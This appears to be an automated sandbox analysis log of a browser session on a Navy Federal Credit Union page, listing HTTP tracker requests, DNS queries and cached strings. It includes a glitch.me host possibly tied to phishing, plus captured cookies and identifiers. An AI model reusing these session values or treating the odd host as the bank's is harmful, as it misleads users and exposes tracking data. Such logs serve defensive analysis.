Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /engagement/js?goalId=15654&cb=1716590801775 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&rl=&if=false&ts=1716590797195&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590796655&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=41c189dc-0747-403e-98b2-97aff675ae2c&ona= HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVQAAAAAAB
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=702009&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s33369260808916?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A46%3A39%205%20240&sdid=3395027B8DD0B4CB-61167B21D4B5DDDB&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Acontact-us&g=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&v2=nfo%3Acontact-us&c4=6%3A46PM&v4=6%3A46PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c13=nfo%3Abranches-atms&c15=AEM&v15=AEM&v16=19471654271041955080390332448085131267&v30=nfo%3Acontact-us&c45=D%3Dv45&v45=2024-05-24%2018%3A46%3A36&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&c60=highestPercentViewed%3D23%20%7C%20initialPercentViewed%3D23%20%2B%20%7C%20foldsSeen%3D1%20%7C%20foldsAvailable%3D4&v62=Do%20Not%20Track%20Disabled&v63=GPC%20is%20Disabled&v64=false&c65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v77=nfo%20contact-us&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&AQE=1 HTTP/1.1Host: analytics.navyfederal.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; ttc_c14=1716590753728; s_ips=907; s_vnc365=1748126753731%26vn%3D1; s_ivc=true; s_cc=true; _gcl_au=1.1.1380165631.1716590754; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-19875%7CvVersion%7C5.5.0; _fbp=fb.1.1716590756253.2112400685; _bts=303c0029-ffb5-4fbb-cb19-a89af2beb49d; _bti=%7B%22app_id%22%3A%22navy-federal-credit-union%22%2C%22bsin%22%3A%22TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU%2FNVu5nzfAj%2F%2FvKkXi7KQ%3D%3D%2
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&event=player_init&time=1716590800169&autoplay=false&seq=0 HTTP/1.1Host: metrics.brightcove.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_288.2.dr, chromecache_463.2.dr, chromecache_233.2.dr	String found in binary or memory: <li><a href="https://www.facebook.com/NavyFederal"><i class="icon-facebook" aria-hidden="true"></i><span class="sr-only">Navy Federal on Facebook</span></a></li> equals www.facebook.com (Facebook)
Source: chromecache_288.2.dr, chromecache_463.2.dr, chromecache_233.2.dr	String found in binary or memory: <li><a href="https://www.linkedin.com/company/navy-federal-credit-union"><i class="icon-linkedin" aria-hidden="true"></i><span class="sr-only">Navy Federal on LinkedIn</span></a></li> equals www.linkedin.com (Linkedin)
Source: chromecache_288.2.dr, chromecache_463.2.dr, chromecache_233.2.dr	String found in binary or memory: <li><a href="https://www.youtube.com/user/NavyFederal"><i class="icon-youtube" aria-hidden="true"></i><span class="sr-only">Navy Federal on YouTube</span></a></li> equals www.youtube.com (Youtube)
Source: chromecache_505.2.dr	String found in binary or memory: (function(a,b,c,d){var e={exports:{}};e.exports;(function(){var f=a.fbq;f.execStart=a.performance&&a.performance.now&&a.performance.now();if(!function(){var b=a.postMessage\|\|function(){};if(!f){b({action:"FB_LOG",logType:"Facebook Pixel Error",logMessage:"Pixel code is not installed correctly on this page"},"");"error"in console&&console.error("Facebook Pixel Error: Pixel code is not installed correctly on this page");return!1}return!0}())return;f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=function(a){f.__fbeventsResolvedModules[a]\|\|(f.__fbeventsResolvedModules[a]=f.__fbeventsModules[a]());return f.__fbeventsResolvedModules[a]},f.fbIsModuleLoaded=function(a){return!!f.__fbeventsModules[a]},f.ensureModuleRegistered=function(b,a){f.fbIsModuleLoaded(b)\|\|(f.__fbeventsModules[b]=a)});f.ensureModuleRegistered("signalsFBEventsGetIwlUrl",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(a){var b=new URL(a);b=b.hostname.endsWith(".facebook.com")&&b.pathname=="/signals/iwl.js";if(!b)throw new Error("Disallowed script URL");return a}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("signalsFBEventsGetTier",function(){return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEvents.plugins.iwlbootstrapper",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var c=f.getFbeventsModules("SignalsFBEventsIWLBootStrapEvent"),d=f.getFbeventsModules("SignalsFBEventsLogging"),g=f.getFbeventsModules("SignalsFBEventsNetworkConfig"),h=f.getFbeventsModules("SignalsFBEventsPlugin"),i=f.getFbeventsModules("signalsFBEventsGetIwlUrl"),j=f.getFbeventsModules("signalsFBEventsGetTier"),k=d.logUserError,l=/^https:\/\/.\.facebook\.com$/i,m="FACEBOOK_IWL_CONFIG_STORAGE_KEY",n=null;e.exports=new h(function(d,e){try{n=a.sessionStorage?a.sessionStorage:{getItem:function(a){return null},removeItem:function(a){},setItem:function(a,b){}}}catch(a){return}function h(c,d){var e=b.createElement("script");e.async=!0;e.onload=function(){if(!a.FacebookIWL\|\|!a.FacebookIWL.init)return;var b=j(g.ENDPOINT);b!=null&&a.FacebookIWL.set&&a.FacebookIWL.set("tier",b);d()};a.FacebookIWLSessionEnd=func
Source: chromecache_233.2.dr	String found in binary or memory: <p>Connect with us to ask a question, report an issue or just tell us what you think.<br /> <a href="https://www.facebook.com/NavyFederal" title="Navy Federal on Facebook">Facebook</a> \| <a href="https://twitter.com/navyfederal" title="Navy Federal on Twitter">Twitter</a></p> equals www.facebook.com (Facebook)
Source: chromecache_233.2.dr	String found in binary or memory: <p>Connect with us to ask a question, report an issue or just tell us what you think.<br /> <a href="https://www.facebook.com/NavyFederal" title="Navy Federal on Facebook">Facebook</a> \| <a href="https://twitter.com/navyfederal" title="Navy Federal on Twitter">Twitter</a></p> equals www.twitter.com (Twitter)
Source: chromecache_267.2.dr, chromecache_338.2.dr	String found in binary or memory: return b}EC.K="internal.enableAutoEventOnTimer";var ic=ma(["data-gtm-yt-inspected-"]),GC=["www.youtube.com","www.youtube-nocookie.com"],HC,IC=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: delicious-decorous-army.glitch.me
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: l2.io
Source: global traffic	DNS traffic detected: DNS query: i.ibb.co
Source: global traffic	DNS traffic detected: DNS query: www.navyfederal.org
Source: global traffic	DNS traffic detected: DNS query: assets.adobedtm.com
Source: global traffic	DNS traffic detected: DNS query: dm-assets.navyfederal.org
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: navyfederalcu.tt.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: nfcu.demdex.net
Source: global traffic	DNS traffic detected: DNS query: analytics.navyfederal.org
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: cm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: utt.impactcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.pbbl.co
Source: global traffic	DNS traffic detected: DNS query: live.rezync.com
Source: global traffic	DNS traffic detected: DNS query: static.ads-twitter.com
Source: global traffic	DNS traffic detected: DNS query: snap.licdn.com
Source: global traffic	DNS traffic detected: DNS query: 9749892.fls.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: collector-11598.tvsquared.com
Source: global traffic	DNS traffic detected: DNS query: 2992003.fls.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: cdn.pdst.fm
Source: global traffic	DNS traffic detected: DNS query: js.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: px.ads.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: ad.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: us-central1-adaptive-growth.cloudfunctions.net
Source: global traffic	DNS traffic detected: DNS query: b.videoamp.com
Source: global traffic	DNS traffic detected: DNS query: trkn.us
Source: global traffic	DNS traffic detected: DNS query: c.tvpixel.com
Source: global traffic	DNS traffic detected: DNS query: adservice.google.com
Source: global traffic	DNS traffic detected: DNS query: insight.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: ct.pinterest.com
Source: global traffic	DNS traffic detected: DNS query: c1.rfihub.net
Source: global traffic	DNS traffic detected: DNS query: cdn.boomtrain.com
Source: global traffic	DNS traffic detected: DNS query: cdn.bttrack.com
Source: global traffic	DNS traffic detected: DNS query: tag.simpli.fi
Source: global traffic	DNS traffic detected: DNS query: www.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: 20843995p.rfihub.com
Source: global traffic	DNS traffic detected: DNS query: p.tvpixel.com
Source: global traffic	DNS traffic detected: DNS query: bttrack.com
Source: global traffic	DNS traffic detected: DNS query: t.co
Source: global traffic	DNS traffic detected: DNS query: people.api.boomtrain.com
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: analytics.twitter.com
Source: global traffic	DNS traffic detected: DNS query: events.api.boomtrain.com
Source: global traffic	DNS traffic detected: DNS query: i.liadm.com
Source: global traffic	DNS traffic detected: DNS query: secure.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: 20823298p.rfihub.com
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: i.simpli.fi
Source: global traffic	DNS traffic detected: DNS query: lptag.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: px0.pbbl.co
Source: global traffic	DNS traffic detected: DNS query: i6.liadm.com
Source: global traffic	DNS traffic detected: DNS query: aa.agkn.com
Source: global traffic	DNS traffic detected: DNS query: um.simpli.fi
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: tags.bluekai.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: s.ad.smaato.net
Source: global traffic	DNS traffic detected: DNS query: sync.1rx.io
Source: global traffic	DNS traffic detected: DNS query: eb2.3lift.com
Source: global traffic	DNS traffic detected: DNS query: pixel.tapad.com
Source: global traffic	DNS traffic detected: DNS query: simplifi.partners.tremorhub.com
Source: global traffic	DNS traffic detected: DNS query: sync.outbrain.com
Source: global traffic	DNS traffic detected: DNS query: d.agkn.com
Source: global traffic	DNS traffic detected: DNS query: accdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: liveengage.navyfederal.org
Source: global traffic	DNS traffic detected: DNS query: sync.intentiq.com
Source: global traffic	DNS traffic detected: DNS query: sync.targeting.unrulymedia.com
Source: global traffic	DNS traffic detected: DNS query: fei.pro-market.net
Source: global traffic	DNS traffic detected: DNS query: sync1.intentiq.com
Source: global traffic	DNS traffic detected: DNS query: loadm.exelator.com
Source: global traffic	DNS traffic detected: DNS query: sync.bfmio.com
Source: global traffic	DNS traffic detected: DNS query: cms.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: stags.bluekai.com
Source: global traffic	DNS traffic detected: DNS query: bcp.crwdcntrl.net
Source: global traffic	DNS traffic detected: DNS query: ce.lijit.com
Source: global traffic	DNS traffic detected: DNS query: ups.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: va.v.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: idsync.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: us-u.openx.net
Source: global traffic	DNS traffic detected: DNS query: pbid.pro-market.net
Source: global traffic	DNS traffic detected: DNS query: pippio.com
Source: global traffic	DNS traffic detected: DNS query: s.amazon-adsystem.com
Source: global traffic	DNS traffic detected: DNS query: secure-gl.imrworldwide.com
Source: global traffic	DNS traffic detected: DNS query: idpix.media6degrees.com
Source: global traffic	DNS traffic detected: DNS query: match.360yield.com
Source: global traffic	DNS traffic detected: DNS query: su.addthis.com
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: rtb-csync.smartadserver.com
Source: global traffic	DNS traffic detected: DNS query: pbs.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: capi.connatix.com
Source: global traffic	DNS traffic detected: DNS query: amazon.partners.tremorhub.com
Source: global traffic	DNS traffic detected: DNS query: www.imdb.com
Source: global traffic	DNS traffic detected: DNS query: usersync.samplicio.us
Source: global traffic	DNS traffic detected: DNS query: ads.samba.tv
Source: global traffic	DNS traffic detected: DNS query: odr.mookie1.com

Source: unknown

HTTP traffic detected: POST /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1Host: navyfederalcu.tt.omtrdc.netConnection: keep-aliveContent-Length: 915sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plainAccept: */*Origin: https://www.navyfederal.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 24 May 2024 22:46:30 GMTContent-Length: 9Connection: close

Source: chromecache_328.2.dr	String found in binary or memory: http://g.co/dev/maps-no-account
Source: chromecache_339.2.dr	String found in binary or memory: http://piwik.org
Source: chromecache_339.2.dr	String found in binary or memory: http://piwik.org/free-software/bsd/
Source: chromecache_288.2.dr, chromecache_463.2.dr, chromecache_233.2.dr	String found in binary or memory: http://play.google.com/store/apps/details?id=com.navyfederal.android
Source: chromecache_233.2.dr	String found in binary or memory: http://schema.org/ImageObject
Source: chromecache_457.2.dr	String found in binary or memory: http://stackoverflow.com/questions/9229535/google-maps-markers-disappear-at-certain-zoom-level-only-
Source: chromecache_425.2.dr, chromecache_209.2.dr, chromecache_457.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_328.2.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_457.2.dr	String found in binary or memory: http://www.google.com/intl/en_us/mapfiles/close.gif
Source: chromecache_457.2.dr	String found in binary or memory: http://www.quirksmode.org/css/opacity.html
Source: chromecache_288.2.dr	String found in binary or memory: https://accountservices.navyfederal.org/account-recovery/
Source: chromecache_288.2.dr	String found in binary or memory: https://accountservices.navyfederal.org/enrollment/
Source: chromecache_338.2.dr	String found in binary or memory: https://ad.doubleclick.net
Source: chromecache_267.2.dr, chromecache_338.2.dr	String found in binary or memory: https://ade.googlesyndication.com
Source: chromecache_429.2.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/z/dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat
Source: chromecache_333.2.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/z/dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat
Source: chromecache_510.2.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/z/dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat
Source: chromecache_216.2.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/z/dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat
Source: chromecache_267.2.dr, chromecache_338.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_267.2.dr, chromecache_338.2.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_311.2.dr	String found in binary or memory: https://assets.adobedtm.com/extensions/EPbf7b42aa08bc4f10879b1484195e80d1/AppMeasurement.js
Source: chromecache_384.2.dr	String found in binary or memory: https://assets.adobedtm.com/extensions/EPbf7b42aa08bc4f10879b1484195e80d1/AppMeasurement_Module_Acti
Source: chromecache_235.2.dr	String found in binary or memory: https://assets.adobedtm.com/launch-ENade6a82789f74a53a864dd294d952d3d.js
Source: chromecache_408.2.dr	String found in binary or memory: https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-86
Source: chromecache_490.2.dr	String found in binary or memory: https://bttrack.com/engagement/js?goalId=15654&cb=
Source: chromecache_267.2.dr, chromecache_338.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_391.2.dr	String found in binary or memory: https://cdn.boomtrain.com/p13n/
Source: chromecache_216.2.dr	String found in binary or memory: https://ct.pinterest.com/v3/?event=PageView&tid=2617254381486&noscript=1
Source: chromecache_216.2.dr	String found in binary or memory: https://ct.pinterest.com/v3/?tid=2617254381486&noscript=1
Source: chromecache_328.2.dr	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: chromecache_328.2.dr	String found in binary or memory: https://developers.google.com/maps/deprecations
Source: chromecache_328.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/advanced-markers/migration
Source: chromecache_493.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages
Source: chromecache_448.2.dr, chromecache_399.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#
Source: chromecache_328.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers
Source: chromecache_328.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/libraries
Source: chromecache_328.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: chromecache_493.2.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/webgl/support
Source: chromecache_233.2.dr	String found in binary or memory: https://digitalapps.navyfederal.org/signin/
Source: chromecache_288.2.dr	String found in binary or memory: https://dm-assets.navyfederal.org/is/content/nfcu/active-duty-checking?ts=1713885034586&dpr=off
Source: chromecache_288.2.dr	String found in binary or memory: https://dm-assets.navyfederal.org/is/content/nfcu/active-duty-checking?ts=1713885034586&dpr=off
Source: chromecache_288.2.dr	String found in binary or memory: https://dm-assets.navyfederal.org/is/content/nfcu/active-duty-loan?ts=1713989635276&dpr=off
